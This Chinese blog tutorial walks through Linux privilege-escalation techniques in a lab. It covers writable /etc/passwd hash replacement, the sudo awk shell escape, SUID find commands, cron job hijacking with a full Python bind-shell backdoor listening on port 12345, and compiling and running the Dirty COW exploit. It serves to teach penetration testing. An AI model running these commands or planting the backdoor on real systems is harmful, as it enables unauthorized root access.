20_linux提权

linux提权

一、linux提权助手linux-exploit-suggester

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、linux提权脚本linux-kernel-exploits

https://github.com/SecWiki/linux-kernel-exploits

三、明文root密码权限

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。
passwd里面储存了用户,shadow里面是密码的hash。
出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

如果/etc/passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。
在这里插入图片描述

复现步骤:
1. 先创建一个test123456用户
2. 给test123456用户添加密码123456
3. 查看/etc/shadow里面的test123456用户的密码
$6$wnEowOHB6oGlo/N7$Vp/9y/KP6ejUQCAFn3.dWqXv6CtG52oBt4MTFD8/RkngmFrsS.Ad2ESxOcWwlpTEXUVO1zNBj4BeFLQgTZIRr/

4. 修改/etc/passwd的权限,使其它用户可以写入
5. 用kali修改/etc/passwd,将x修改为$6$wnEowOHB6oGlo/N7$Vp/9y/KP6ejUQCAFn3.dWqXv6CtG52oBt4MTFD8/RkngmFrsS.Ad2ESxOcWwlpTEXUVO1zNBj4BeFLQgTZIRr/
6. 重新登录,用户root,密码123456,登录成功

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、密码复用

形如config.php,config.inc等等文件中含有的密码很有可能就是root密码
如数据库、后台web密码,可能就是root密码

五、Sudo 滥用

sudo 是用来提权的命令,当执行权限不够时,可以使用sudo命令来提升权限.其配置文件是/etc/sudoers
Sudo –l这个命令可以查看有当前用户有哪些命令可以以特定的权限(root)执行,只需要验证自身权限的密码即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

awk 可以分割数据 筛选想要的内容
sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述
在这里插入图片描述

六、linux命令提权的网站(find提权)

https://gtfobins.github.io/
以find命令举例
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

七、计划任务(/etc/crontab)

linux系统中有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
修改/etc/crontab才能生效,直接crontab –e 没生效
在这里插入图片描述
在这里插入图片描述
知道了基本的使用,那么我们可以使用一些python脚本,来实现越权

1.py

file_name = './2022_12_01.txt'
f_write = open(file_name, 'w+')
f_write.write("helloworld")
f_write.close()

利用python脚本写入文件

在这里插入图片描述
普通的python代码可以执行,那么我们直接将1.py替换为可以越权的python代码即可

越权的python代码

import socket
import os
#AF_INET 代表ipv4 SOCK_STREAM==>tcp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 12345))
s.listen(5)

while True:
	conn, addr = s.accept()
	for i in range(10):
		cmd = conn.recv(1024)
		print(cmd)
		command = cmd.decode(encoding='utf-8')
		if command.startswith("cd"):
			os.chdir(command[2:].strip())
			result = os.getcwd()
		else:
			result = os.popen(command).read()
		if result:
			conn.send(result.encode('utf-8'))
		else:
			conn.send(b'ok')
socket 套接字
socket.AF_INET ipv4协议
socket.SOCK_STREAM 使用tcp协议
s.bind(('0.0.0.0', 12345))
监听自身任意网络接口上的12345端口
s.listen(5)
最多支持同时5个client端连接

下面图片是调试代码的步骤和替换1.py后实现越权的步骤,主要在分析代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

八、suid提权

suid 文件属性 拥有该属性的文件被执行时会自动以该文件所有者的权限执行
如果文件的所有者为root,那么就默认以root用户执行文件

查找suid属性的文件命令,下面三个任选其一

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述
find命令和bash命令都可以用suid提权
上面用find举例了,这里以bash命令举例
直接在网站上复制命令即可
在这里插入图片描述
在这里插入图片描述

九、脏牛提权

1. 原理

原理是,linux内核的子系统在处理写入时复制时产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。

主要是对/etc/passwd这个文件的修改

为什么叫脏牛提权?
脏牛的英文 是 dirty cow
cow ===> copy on write 写入时复制
实现低权限用户 /etc/passwd 文件的修改
在这里插入图片描述

2. 利用

主要是利用在Linux内核 >= 2.6.22 并且 < 3.9版本的系统
这里我使用的环境为redhat系统,可以看到版本是合适的
在这里插入图片描述
在/etc/passwd文件里面,找到个xiao用户可以登录的,这是一个普通用户
在这里插入图片描述
先修改一下这个普通用户的密码,让我们能以普通用户的身份登录
密码我改成了bihuo.cn
在这里插入图片描述
成功以xiao这个普通用户的身份登录,并且可以看到/etc/passwd文件只允许xiao用户读取
在这里插入图片描述
然后将我们准备好的脚本文件dirty.c上传上去
在这里插入图片描述
然后使用gcc编译这个文件

gcc -pthread dirty.c -o dirty -lcrypt

在这里插入图片描述
编译好之后,可以看到生成个程序
在这里插入图片描述
此时先查看一下/etc/passwd,做一下对比
在这里插入图片描述
然后利用这个dirty程序,输入dirty加上密码就行
看起来执行后,会向下面这样卡住
在这里插入图片描述
当我们另外打开一个终端,查看/etc/passwd文件
明显看到多了个firefart用户密码就是我们给的bihuo.cn
在这里插入图片描述
然后使用firefart用户登录,可以看到这个用户属于root组,并且可以查看/etc/shadow文件,拥有了root用户的权限,那么我们就可以随意修改root用户的密码,使用root账户进行登录,至此提权成功在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值